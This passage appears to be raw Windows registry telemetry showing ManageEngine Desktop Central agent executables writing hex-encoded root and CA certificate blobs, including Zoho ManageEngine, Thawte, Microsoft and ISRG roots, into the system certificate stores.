03000000010000001400000001d84e226b2a33caf9d672212eda98d1383538722000000001000000f0030000308203ec308202d4a003020102020830f9ca65fc2e9638300d06092a864886f70d01010b05003071310b3009060355040613025553310b300906035504080c024341311b3019060355040b0c124d616e616765456e67696e652d44532d434131193017060355040a0c105a6f686f20436f72706f726174696f6e311d301b06035504030c144d616e616765456e67696e6543412d44532d43413022180f32303236303930353135333833365a180f32303531303930353135333833365a3071310b3009060355040613025553310b300906035504080c024341311b3019060355040b0c124d616e616765456e67696e652d44532d434131193017060355040a0c105a6f686f20436f72706f726174696f6e311d301b06035504030c144d616e616765456e67696e6543412d44532d434130820122300d06092a864886f70d01010105000382010f003082010a0282010100aef8672f556790cdebb255f807eccab76a04bc1c143d5b09c5b3fdc18d82f1a4de51121bfdc59228d867c708c725809e818b645da4f2ccb4a64201387f1f9f1da4aecb0e5f4e91ea23ae9be44cc8a502f600b849ab122d1e38127a606633d7fe5f0e373f6516d4363278ffd080c90ffa2174efc8e592470c9ea4dd888868b919731a75b46a64ef04df7ab22628217fc94b4aeed1b3aa85b1eff2bfd10e7eb26a0a1f1018f0cf6495997d93a35d4a84d93fb09ab94a2b3d6f1f0c53e18ec3a6546c6fd31d9f96a7a15ee7b533f99e3398d6111372bf1456dfe5dff2d9a69d94667d15f9cb163486ef1c6e747ff9a4b7e4c6f4b4870a62a0f888a2bcd2898067930203010001a3818330818030120603551d130101ff040830060101ff020100301d0603551d0e04160414f2bd842a31cc4b6e2bc3a5de31b4e44b8450b944301f0603551d23041830168014f2bd842a31cc4b6e2bc3a5de31b4e44b8450b944300b0603551d0f0404030201a6301d0603551d250416301406082b0601050507030106082b06010505070302300d06092a864886f70d01010b05000382010100a80af55364a09362062bfa8e0df04bcb52530fa02a506b049983c3718cf0cc2f6c6dc702ebdd708e5ec9c46308a8b30475baca1c12241f1736efbf0f8eb268067a83f547054f9bf2425397f773e438e004ea103a8f5c750099308aec7eedc260842f75c0fc5c7db4d77783e2b855a4d11137066131ddf2cc9860a7bf3372642819f3fafa35de58206882eb76f067f9eac61022bf9a969bca97a95591cedf98662fef99825328dd53f5fe328ce5c92e52dcec5b523986f8d44b7e99c2d7aac25638dc45bda776baede57717891a751e2ad2ff9802ee34edf8bb05b919463636b8872e924cd536c5ce77f1a87d48e5e2d1db9ea003350fdb0b944ac5d5afc87fa5 dcagentregister.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\BE36A4562FB2EE05DBB3D32323ADF445084ED656\Blob = 5900000001000000100000005200530041002f004d004400350000000f0000000100000010000000e8a598be84828efeae701115013576b20400000001000000100000007f667a71d3eb6978209a51149d83da20030000000100000014000000be36a4562fb2ee05dbb3d32323adf445084ed65609000000010000000c000000300a06082b060105050703080b000000010000002e0000005400680061007700740065002000540069006d0065007300740061006d00700069006e0067002000430041000000190000000100000010000000181c2be05851f96993e196f279954b23140000000100000014000000ddbcbd869c3f07ed40e31b08efcec4d188cd3b155c0000000100000004000000000400002000000001000000a5020000308202a13082020aa003020102020100300d06092a864886f70d010104050030818b310b3009060355040613025a41311530130603550408130c5765737465726e2043617065311430120603550407130b44757262616e76696c6c65310f300d060355040a1306546861777465311d301b060355040b13145468617774652043657274696669636174696f6e311f301d060355040313165468617774652054696d657374616d70696e67204341301e170d3937303130313030303030305a170d3230313233313233353935395a30818b310b3009060355040613025a41311530130603550408130c5765737465726e2043617065311430120603550407130b44757262616e76696c6c65310f300d060355040a1306546861777465311d301b060355040b13145468617774652043657274696669636174696f6e311f301d060355040313165468617774652054696d657374616d70696e6720434130819f300d06092a864886f70d010101050003818d0030818902818100d62b587861458653ea347b519cedb0e62e180efee05fa827d3b4c9e07c594e160e735460c17ff69f2ee93a8524153cdb470463c39ec4941a5adf4c7af3d9431d3c107a7925db90fef051e730d64100fd9f28df79be94bb9db614e32385d7a941e04ca479b02b1a8bf2f83b8a3e45ac719200b4904198fb5fedfab72e8af888370203010001a3133011300f0603551d130101ff040530030101ff300d06092a864886f70d01010405000381810067dbe2c2e6873d40838637357d1fce9ac30c6620a8baaa048986c2f510080dbfcba2058ad04d363ef4d7ef69c65ee4b0946f4ab9e7de5b88b67bdbe327e576c3f035c1cbb5279b3379dc90a6009e77fafccd279442169cd31c68ecbf5cdde5a97b100a32745413318b85038491b75801301438af28cafcb150191909ac8949d3 dcinventory.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\0C537943D984E7A9A7ECAFE3D02597044883D2EB\Blob = 190000000100000010000000b37107d40c0f591b9b87de057e4f9686140000000100000014000000d7d1d98416f9d66ab22d9742da05fba8ef81ae890300000001000000140000000c537943d984e7a9a7ecafe3d02597044883d2eb0f0000000100000020000000678711780f573ee42d3474adf07920addf8d50d59a9ecbea435848af21b0acba2000000001000000d8030000308203d4308202bca00302010202080f10cdb52ae0e8ce300d06092a864886f70d01010b05003065310b3009060355040613025553310b300906035504080c02434131153013060355040b0c0c4d616e616765456e67696e6531193017060355040a0c105a6f686f20436f72706f726174696f6e3117301506035504030c0e4d616e616765456e67696e6543413022180f32303236303930353135333833365a180f32303531303930353135333833365a3065310b3009060355040613025553310b300906035504080c02434131153013060355040b0c0c4d616e616765456e67696e6531193017060355040a0c105a6f686f20436f72706f726174696f6e3117301506035504030c0e4d616e616765456e67696e65434130820122300d06092a864886f70d01010105000382010f003082010a0282010100c6b6bd673ae66456c66063e4fa63a75f3fad305a6c5eb727b9e8cd9807c18b66fa08efd4ac3aeb5d1c0fdb4e8b9755500e4d40eed1104e3d078227c145111b2bf339e0095c361d737fbf51d53c559cd15abf709c0c3e5e2135b97d7a87a96628936b07040e4b789094bd8f8e120846546b3af51e8229de738a3714cacfd91f722bf6371c0355805853972adcc6dcac5c9974e3e4a1ef205cc945be56e12f9acce189e8742831178707f03548bf038eb4a95dd3c3d0a6dc8fce70492c7e1ccdc3f88678ff5e741c88d95c2db6b96bd934b481adeb54f43fcb291b5c262138a951823c8ca180a6cdbbbfe9441c0303a8f28f4e04a86cb91006f0fa5a8613dfa32d0203010001a3818330818030120603551d130101ff040830060101ff020100301d0603551d0e04160414d7d1d98416f9d66ab22d9742da05fba8ef81ae89301f0603551d23041830168014d7d1d98416f9d66ab22d9742da05fba8ef81ae89300b0603551d0f0404030201a6301d0603551d250416301406082b0601050507030106082b06010505070302300d06092a864886f70d01010b05000382010100bc4f67a4eaa5765a83275811e63d89b733c205353adce2525b7c5c05d5d6c1d5faec0c09e62af60f656d297975ee3061bbda8cafdca297bb1a5974ee9a35dcde9adfa103dfdcaa91159d83165f5c02b9cd5071bfd85ec8d6f1eceb2ada13bd9dbc8778ead1c507c33089d5f5c95b5d63dd15f4b506f2c1a82b6c62560eab066bdb9b3e88db36a611f35ae700c46a43f0e4d18d0f12f2118ea0e7cfaade6723074f2542c56c108d184b836f98f928e89218c629d0b0f48d01653e06bdadc71c763c8c5e721df5f02653df6a9200a487b6086c6745ff930b4b5fd5a9c46303f2f22510eb79e806e518839a5d299c6949b070304971b66d0af368770d647cf9228c dcconfig.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\0C537943D984E7A9A7ECAFE3D02597044883D2EB\Blob = 0300000001000000140000000c537943d984e7a9a7ecafe3d02597044883d2eb2000000001000000d8030000308203d4308202bca00302010202080f10cdb52ae0e8ce300d06092a864886f70d01010b05003065310b3009060355040613025553310b300906035504080c02434131153013060355040b0c0c4d616e616765456e67696e6531193017060355040a0c105a6f686f20436f72706f726174696f6e3117301506035504030c0e4d616e616765456e67696e6543413022180f32303236303930353135333833365a180f32303531303930353135333833365a3065310b3009060355040613025553310b300906035504080c02434131153013060355040b0c0c4d616e616765456e67696e6531193017060355040a0c105a6f686f20436f72706f726174696f6e3117301506035504030c0e4d616e616765456e67696e65434130820122300d06092a864886f70d01010105000382010f003082010a0282010100c6b6bd673ae66456c66063e4fa63a75f3fad305a6c5eb727b9e8cd9807c18b66fa08efd4ac3aeb5d1c0fdb4e8b9755500e4d40eed1104e3d078227c145111b2bf339e0095c361d737fbf51d53c559cd15abf709c0c3e5e2135b97d7a87a96628936b07040e4b789094bd8f8e120846546b3af51e8229de738a3714cacfd91f722bf6371c0355805853972adcc6dcac5c9974e3e4a1ef205cc945be56e12f9acce189e8742831178707f03548bf038eb4a95dd3c3d0a6dc8fce70492c7e1ccdc3f88678ff5e741c88d95c2db6b96bd934b481adeb54f43fcb291b5c262138a951823c8ca180a6cdbbbfe9441c0303a8f28f4e04a86cb91006f0fa5a8613dfa32d0203010001a3818330818030120603551d130101ff040830060101ff020100301d0603551d0e04160414d7d1d98416f9d66ab22d9742da05fba8ef81ae89301f0603551d23041830168014d7d1d98416f9d66ab22d9742da05fba8ef81ae89300b0603551d0f0404030201a6301d0603551d250416301406082b0601050507030106082b06010505070302300d06092a864886f70d01010b05000382010100bc4f67a4eaa5765a83275811e63d89b733c205353adce2525b7c5c05d5d6c1d5faec0c09e62af60f656d297975ee3061bbda8cafdca297bb1a5974ee9a35dcde9adfa103dfdcaa91159d83165f5c02b9cd5071bfd85ec8d6f1eceb2ada13bd9dbc8778ead1c507c33089d5f5c95b5d63dd15f4b506f2c1a82b6c62560eab066bdb9b3e88db36a611f35ae700c46a43f0e4d18d0f12f2118ea0e7cfaade6723074f2542c56c108d184b836f98f928e89218c629d0b0f48d01653e06bdadc71c763c8c5e721df5f02653df6a9200a487b6086c6745ff930b4b5fd5a9c46303f2f22510eb79e806e518839a5d299c6949b070304971b66d0af368770d647cf9228c dcagentregister.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\CA\Certificates\FEE449EE0E3965A5246F000E87FDE2A065FD89D4\Blob = 5900000001000000100000005200530041002f004d004400350000001400000001000000140000009aa6587f94dd91d91e63dfd3f0ce5fae1893aab7030000000100000014000000fee449ee0e3965a5246f000e87fde2a065fd89d4190000000100000010000000edbccdd5106a071c5d8b4690918e48aa2000000001000000ce010000308201ca30820174a003020102021006376c00aa00648a11cfb8d4aa5c35f4300d06092a864886f70d01010405003016311430120603550403130b526f6f74204167656e6379301e170d3936303532383232303235395a170d3339313233313233353935395a3016311430120603550403130b526f6f74204167656e6379305b300d06092a864886f70d0101010500034a0030470240815522b98aa46fedd6e7d9660f55bcd7cdd5bc4e400221a2b1f78730855ed2f244b9dc9b75b6fb465f42b69d23360bde540fcdbd1f992a105811cb40cbb5a7410203010001a3819e30819b3050060355040304491347466f722054657374696e6720507572706f736573204f6e6c792053616d706c6520536f667477617265205075626c697368696e672043726564656e7469616c73204167656e637930470603551d010440303e801012e4092d061d1d4f008d6121dc166463a1183016311430120603550403130b526f6f74204167656e6379821006376c00aa00648a11cfb8d4aa5c35f4300d06092a864886f70d01010405000341002d2e3e7b8942893fa82117faf0f5c395db62695bc9dcc1b3faf0c46f6f649abde71b2568728367bd56b08d01bd2af7cc4bbd87a5ba87204c421141ad10173b8c dcinventory.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\0C537943D984E7A9A7ECAFE3D02597044883D2EB\Blob = 0300000001000000140000000c537943d984e7a9a7ecafe3d02597044883d2eb2000000001000000d8030000308203d4308202bca00302010202080f10cdb52ae0e8ce300d06092a864886f70d01010b05003065310b3009060355040613025553310b300906035504080c02434131153013060355040b0c0c4d616e616765456e67696e6531193017060355040a0c105a6f686f20436f72706f726174696f6e3117301506035504030c0e4d616e616765456e67696e6543413022180f32303236303930353135333833365a180f32303531303930353135333833365a3065310b3009060355040613025553310b300906035504080c02434131153013060355040b0c0c4d616e616765456e67696e6531193017060355040a0c105a6f686f20436f72706f726174696f6e3117301506035504030c0e4d616e616765456e67696e65434130820122300d06092a864886f70d01010105000382010f003082010a0282010100c6b6bd673ae66456c66063e4fa63a75f3fad305a6c5eb727b9e8cd9807c18b66fa08efd4ac3aeb5d1c0fdb4e8b9755500e4d40eed1104e3d078227c145111b2bf339e0095c361d737fbf51d53c559cd15abf709c0c3e5e2135b97d7a87a96628936b07040e4b789094bd8f8e120846546b3af51e8229de738a3714cacfd91f722bf6371c0355805853972adcc6dcac5c9974e3e4a1ef205cc945be56e12f9acce189e8742831178707f03548bf038eb4a95dd3c3d0a6dc8fce70492c7e1ccdc3f88678ff5e741c88d95c2db6b96bd934b481adeb54f43fcb291b5c262138a951823c8ca180a6cdbbbfe9441c0303a8f28f4e04a86cb91006f0fa5a8613dfa32d0203010001a3818330818030120603551d130101ff040830060101ff020100301d0603551d0e04160414d7d1d98416f9d66ab22d9742da05fba8ef81ae89301f0603551d23041830168014d7d1d98416f9d66ab22d9742da05fba8ef81ae89300b0603551d0f0404030201a6301d0603551d250416301406082b0601050507030106082b06010505070302300d06092a864886f70d01010b05000382010100bc4f67a4eaa5765a83275811e63d89b733c205353adce2525b7c5c05d5d6c1d5faec0c09e62af60f656d297975ee3061bbda8cafdca297bb1a5974ee9a35dcde9adfa103dfdcaa91159d83165f5c02b9cd5071bfd85ec8d6f1eceb2ada13bd9dbc8778ead1c507c33089d5f5c95b5d63dd15f4b506f2c1a82b6c62560eab066bdb9b3e88db36a611f35ae700c46a43f0e4d18d0f12f2118ea0e7cfaade6723074f2542c56c108d184b836f98f928e89218c629d0b0f48d01653e06bdadc71c763c8c5e721df5f02653df6a9200a487b6086c6745ff930b4b5fd5a9c46303f2f22510eb79e806e518839a5d299c6949b070304971b66d0af368770d647cf9228c dcconfig.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\01D84E226B2A33CAF9D672212EDA98D138353872\Blob = 0f000000010000002000000018b1339874f148fc29bb5b044d2a659cf188b34d00819a9f2e3c1f3257e01e3e03000000010000001400000001d84e226b2a33caf9d672212eda98d138353872140000000100000014000000f2bd842a31cc4b6e2bc3a5de31b4e44b8450b9442000000001000000f0030000308203ec308202d4a003020102020830f9ca65fc2e9638300d06092a864886f70d01010b05003071310b3009060355040613025553310b300906035504080c024341311b3019060355040b0c124d616e616765456e67696e652d44532d434131193017060355040a0c105a6f686f20436f72706f726174696f6e311d301b06035504030c144d616e616765456e67696e6543412d44532d43413022180f32303236303930353135333833365a180f32303531303930353135333833365a3071310b3009060355040613025553310b300906035504080c024341311b3019060355040b0c124d616e616765456e67696e652d44532d434131193017060355040a0c105a6f686f20436f72706f726174696f6e311d301b06035504030c144d616e616765456e67696e6543412d44532d434130820122300d06092a864886f70d01010105000382010f003082010a0282010100aef8672f556790cdebb255f807eccab76a04bc1c143d5b09c5b3fdc18d82f1a4de51121bfdc59228d867c708c725809e818b645da4f2ccb4a64201387f1f9f1da4aecb0e5f4e91ea23ae9be44cc8a502f600b849ab122d1e38127a606633d7fe5f0e373f6516d4363278ffd080c90ffa2174efc8e592470c9ea4dd888868b919731a75b46a64ef04df7ab22628217fc94b4aeed1b3aa85b1eff2bfd10e7eb26a0a1f1018f0cf6495997d93a35d4a84d93fb09ab94a2b3d6f1f0c53e18ec3a6546c6fd31d9f96a7a15ee7b533f99e3398d6111372bf1456dfe5dff2d9a69d94667d15f9cb163486ef1c6e747ff9a4b7e4c6f4b4870a62a0f888a2bcd2898067930203010001a3818330818030120603551d130101ff040830060101ff020100301d0603551d0e04160414f2bd842a31cc4b6e2bc3a5de31b4e44b8450b944301f0603551d23041830168014f2bd842a31cc4b6e2bc3a5de31b4e44b8450b944300b0603551d0f0404030201a6301d0603551d250416301406082b0601050507030106082b06010505070302300d06092a864886f70d01010b05000382010100a80af55364a09362062bfa8e0df04bcb52530fa02a506b049983c3718cf0cc2f6c6dc702ebdd708e5ec9c46308a8b30475baca1c12241f1736efbf0f8eb268067a83f547054f9bf2425397f773e438e004ea103a8f5c750099308aec7eedc260842f75c0fc5c7db4d77783e2b855a4d11137066131ddf2cc9860a7bf3372642819f3fafa35de58206882eb76f067f9eac61022bf9a969bca97a95591cedf98662fef99825328dd53f5fe328ce5c92e52dcec5b523986f8d44b7e99c2d7aac25638dc45bda776baede57717891a751e2ad2ff9802ee34edf8bb05b919463636b8872e924cd536c5ce77f1a87d48e5e2d1db9ea003350fdb0b944ac5d5afc87fa5 dcconfig.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\01D84E226B2A33CAF9D672212EDA98D138353872\Blob = 0f000000010000002000000018b1339874f148fc29bb5b044d2a659cf188b34d00819a9f2e3c1f3257e01e3e03000000010000001400000001d84e226b2a33caf9d672212eda98d1383538722000000001000000f0030000308203ec308202d4a003020102020830f9ca65fc2e9638300d06092a864886f70d01010b05003071310b3009060355040613025553310b300906035504080c024341311b3019060355040b0c124d616e616765456e67696e652d44532d434131193017060355040a0c105a6f686f20436f72706f726174696f6e311d301b06035504030c144d616e616765456e67696e6543412d44532d43413022180f32303236303930353135333833365a180f32303531303930353135333833365a3071310b3009060355040613025553310b300906035504080c024341311b3019060355040b0c124d616e616765456e67696e652d44532d434131193017060355040a0c105a6f686f20436f72706f726174696f6e311d301b06035504030c144d616e616765456e67696e6543412d44532d434130820122300d06092a864886f70d01010105000382010f003082010a0282010100aef8672f556790cdebb255f807eccab76a04bc1c143d5b09c5b3fdc18d82f1a4de51121bfdc59228d867c708c725809e818b645da4f2ccb4a64201387f1f9f1da4aecb0e5f4e91ea23ae9be44cc8a502f600b849ab122d1e38127a606633d7fe5f0e373f6516d4363278ffd080c90ffa2174efc8e592470c9ea4dd888868b919731a75b46a64ef04df7ab22628217fc94b4aeed1b3aa85b1eff2bfd10e7eb26a0a1f1018f0cf6495997d93a35d4a84d93fb09ab94a2b3d6f1f0c53e18ec3a6546c6fd31d9f96a7a15ee7b533f99e3398d6111372bf1456dfe5dff2d9a69d94667d15f9cb163486ef1c6e747ff9a4b7e4c6f4b4870a62a0f888a2bcd2898067930203010001a3818330818030120603551d130101ff040830060101ff020100301d0603551d0e04160414f2bd842a31cc4b6e2bc3a5de31b4e44b8450b944301f0603551d23041830168014f2bd842a31cc4b6e2bc3a5de31b4e44b8450b944300b0603551d0f0404030201a6301d0603551d250416301406082b0601050507030106082b06010505070302300d06092a864886f70d01010b05000382010100a80af55364a09362062bfa8e0df04bcb52530fa02a506b049983c3718cf0cc2f6c6dc702ebdd708e5ec9c46308a8b30475baca1c12241f1736efbf0f8eb268067a83f547054f9bf2425397f773e438e004ea103a8f5c750099308aec7eedc260842f75c0fc5c7db4d77783e2b855a4d11137066131ddf2cc9860a7bf3372642819f3fafa35de58206882eb76f067f9eac61022bf9a969bca97a95591cedf98662fef99825328dd53f5fe328ce5c92e52dcec5b523986f8d44b7e99c2d7aac25638dc45bda776baede57717891a751e2ad2ff9802ee34edf8bb05b919463636b8872e924cd536c5ce77f1a87d48e5e2d1db9ea003350fdb0b944ac5d5afc87fa5 dcagentregister.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CDD4EEAE6000AC7F40C3802C171E30148030C072\Blob = 5900000001000000120000005200530041002f0053004800410031000000040000000100000010000000e1c07ea0aabbd4b77b84c228117808a71400000001000000140000000eac826040562797e52513fc2ae10a539559e4a469000000010000000e000000300c060a2b0601040182373c03020b000000010000004a0000004d006900630072006f0073006f0066007400200052006f006f007400200043006500720074006900660069006300610074006500200041007500740068006f0072006900740079000000030000000100000014000000cdd4eeae6000ac7f40c3802c171e30148030c0720f0000000100000014000000391be92883d52509155bfeae27b9bd340170b76b190000000100000010000000983b132635b7e91deef54a6780c092695c00000001000000040000000010000020000000010000009d0500003082059930820381a003020102021079ad16a14aa0a5ad4c7358f407132e65300d06092a864886f70d0101050500305f31133011060a0992268993f22c6401191603636f6d31193017060a0992268993f22c64011916096d6963726f736f6674312d302b060355040313244d6963726f736f667420526f6f7420436572746966696361746520417574686f72697479301e170d3031303530393233313932325a170d3231303530393233323831335a305f31133011060a0992268993f22c6401191603636f6d31193017060a0992268993f22c64011916096d6963726f736f6674312d302b060355040313244d6963726f736f667420526f6f7420436572746966696361746520417574686f7269747930820222300d06092a864886f70d01010105000382020f003082020a0282020100f35dfa8067d45aa7a90c2c9020d035083c7584cdb707899c89dadecec360fa91685a9e94712918767cc2e0c82576940e58fa043436e6dfaff780bae9580b2b93e59d05e3772291f734643c22911d5ee10990bc14fefc755819e179b70792a3ae885908d89f07ca0358fc68296d32d7d2a8cb4bfce10b48324fe6ebb8ad4fe45c6f139499db95d575dba81ab79491b4775bf5480c8f6a797d1470047d6daf90f5da70d847b7bf9b2f6ce705b7e11160ac7991147cc5d6a6e4e17ed5c37ee592d23c00b53682de79e16df3b56ef89f33c9cb527d739836db8ba16ba295979ba3dec24d26ff0696672506c8e7ace4ee1233953199c835084e34ca7953d5b5be6332594036c0a54e044d3ddb5b0733e458bfef3f5364d842593557fd0f457c24044d9ed6387411972290ce684474926fd54b6fb086e3c73642a0d0fcc1c05af9a361b9304771960a16b091c04295ef107f286ae32a1fb1e4cd033f777104c720fc490f1d4588a4d7cb7e88ad8e2dec45dbc45104c92afcec869e9a11975bdece5388e6e2b7fdac95c22840dbef0490df813339d9b245a5238706a5558931bb062d600e41187d1f2eb597cb11eb15d524a594ef151489fd4b73fa325bfcd13300f95962700732ea2eab402d7bcadd21671b30998f16aa23a841d1b06e119b36c4de40749ce15865c1601e7a5b38c88fbb04267cd41640e5b66b6caa86fd00bfcec1350203010001a351304f300b0603551d0f0404030201c6300f0603551d130101ff040530030101ff301d0603551d0e041604140eac826040562797e52513fc2ae10a539559e4a4301006092b06010401823715010403020100300d06092a864886f70d01010505000382020100c5114d033a60dd5d5211778fb2bb36c8b205bfb4b7a8d8209d5c1303b61c22fa061335b6c863d49a476f2657d255f104b1265fd6a95068a0bcd2b86eccc3e9acdf19cd78ac5974ac663436c41b3e6c384c330e30120da326fe515300ffaf5a4e840d0f1fe46d052e4e854b8d6c336f54d264abbf50af7d7a39a037ed63030ffc1306ce1636d4543b951b51623ae54d17d40539929a27a85baabdecbbbee3208960716c56b3a513d06d0e237e9503ed683df2d863b86b4db6e830b5e1ca944bf7a2aa5d9930b23da7c2516c28200124272b4b00b79d116b70beb21082bc0c9b68d08d3b2487aa9928729d335f5990bdf5de939e3a625a3439e288551db906b0c1896b2dd769c319123684d0c9a0daff2f6978b2e57adaebd70cc0f7bd6317b8391338a2365b7bf285566a1d6462c138e2aabf5166a294f5129c6622106bf2b730922df229f03d3b144368a2f19c2937cbce3820256d7c67f37e24122403088147eca59e97f518d7cfbbd5ef7696effdcedb569d95a042f99758e1d73122d35f59e63e6e2200ea4384b625dbd9f3085668c0646b1d7cecb693a262576e2ed8e7588fc4314926ddde293587f53071705b143c69bd89127deb2ea3fed87f9e825a520a2bc1432bd930889fc810fb898de6a18575337e6c9edb7313646269a52f7dca966d9ff8044d30923d6e211421c93de0c3fd8a6b9d4afdd1a19d9943773fb0da dcinventory.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 5900000001000000160000005200530041002f00530048004100320035003600000014000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e80f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f631900000001000000100000002fe1f70bb05d7c92335bc5e05b984da620000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827 dcinventory.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\0C537943D984E7A9A7ECAFE3D02597044883D2EB\Blob = 5900000001000000160000005200530041002f005300480041003200350036000000040000000100000010000000ff4f48aa0418ea97b5a947c1b88e2c45140000000100000014000000d7d1d98416f9d66ab22d9742da05fba8ef81ae890300000001000000140000000c537943d984e7a9a7ecafe3d02597044883d2eb0f0000000100000020000000678711780f573ee42d3474adf07920addf8d50d59a9ecbea435848af21b0acba190000000100000010000000b37107d40c0f591b9b87de057e4f96865c0000000100000004000000000800002000000001000000d8030000308203d4308202bca00302010202080f10cdb52ae0e8ce300d06092a864886f70d01010b05003065310b3009060355040613025553310b300906035504080c02434131153013060355040b0c0c4d616e616765456e67696e6531193017060355040a0c105a6f686f20436f72706f726174696f6e3117301506035504030c0e4d616e616765456e67696e6543413022180f32303236303930353135333833365a180f32303531303930353135333833365a3065310b3009060355040613025553310b300906035504080c02434131153013060355040b0c0c4d616e616765456e67696e6531193017060355040a0c105a6f686f20436f72706f726174696f6e3117301506035504030c0e4d616e616765456e67696e65434130820122300d06092a864886f70d01010105000382010f003082010a0282010100c6b6bd673ae66456c66063e4fa63a75f3fad305a6c5eb727b9e8cd9807c18b66fa08efd4ac3aeb5d1c0fdb4e8b9755500e4d40eed1104e3d078227c145111b2bf339e0095c361d737fbf51d53c559cd15abf709c0c3e5e2135b97d7a87a96628936b07040e4b789094bd8f8e120846546b3af51e8229de738a3714cacfd91f722bf6371c0355805853972adcc6dcac5c9974e3e4a1ef205cc945be56e12f9acce189e8742831178707f03548bf038eb4a95dd3c3d0a6dc8fce70492c7e1ccdc3f88678ff5e741c88d95c2db6b96bd934b481adeb54f43fcb291b5c262138a951823c8ca180a6cdbbbfe9441c0303a8f28f4e04a86cb91006f0fa5a8613dfa32d0203010001a3818330818030120603551d130101ff040830060101ff020100301d0603551d0e04160414d7d1d98416f9d66ab22d9742da05fba8ef81ae89301f0603551d23041830168014d7d1d98416f9d66ab22d9742da05fba8ef81ae89300b0603551d0f0404030201a6301d0603551d250416301406082b0601050507030106082b06010505070302300d06092a864886f70d01010b05000382010100bc4f67a4eaa5765a83275811e63d89b733c205353adce2525b7c5c05d5d6c1d5faec0c09e62af60f656d297975ee3061bbda8cafdca297bb1a5974ee9a35dcde9adfa103dfdcaa91159d83165f5c02b9cd5071bfd85ec8d6f1eceb2ada13bd9dbc8778ead1c507c33089d5f5c95b5d63dd15f4b506f2c1a82b6c62560eab066bdb9b3e88db36a611f35ae700c46a43f0e4d18d0f12f2118ea0e7cfaade6723074f2542c56c108d184b836f98f928e89218c629d0b0f48d01653e06bdadc71c763c8c5e721df5f02653df6a9200a487b6086c6745ff930b4b5fd5a9c46303f2f22510eb79e806e518839a5d299c6949b070304971b66d0af368770d647cf9228c dcinventory.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\01D84E226B2A33CAF9D672212EDA98D138353872\Blob = 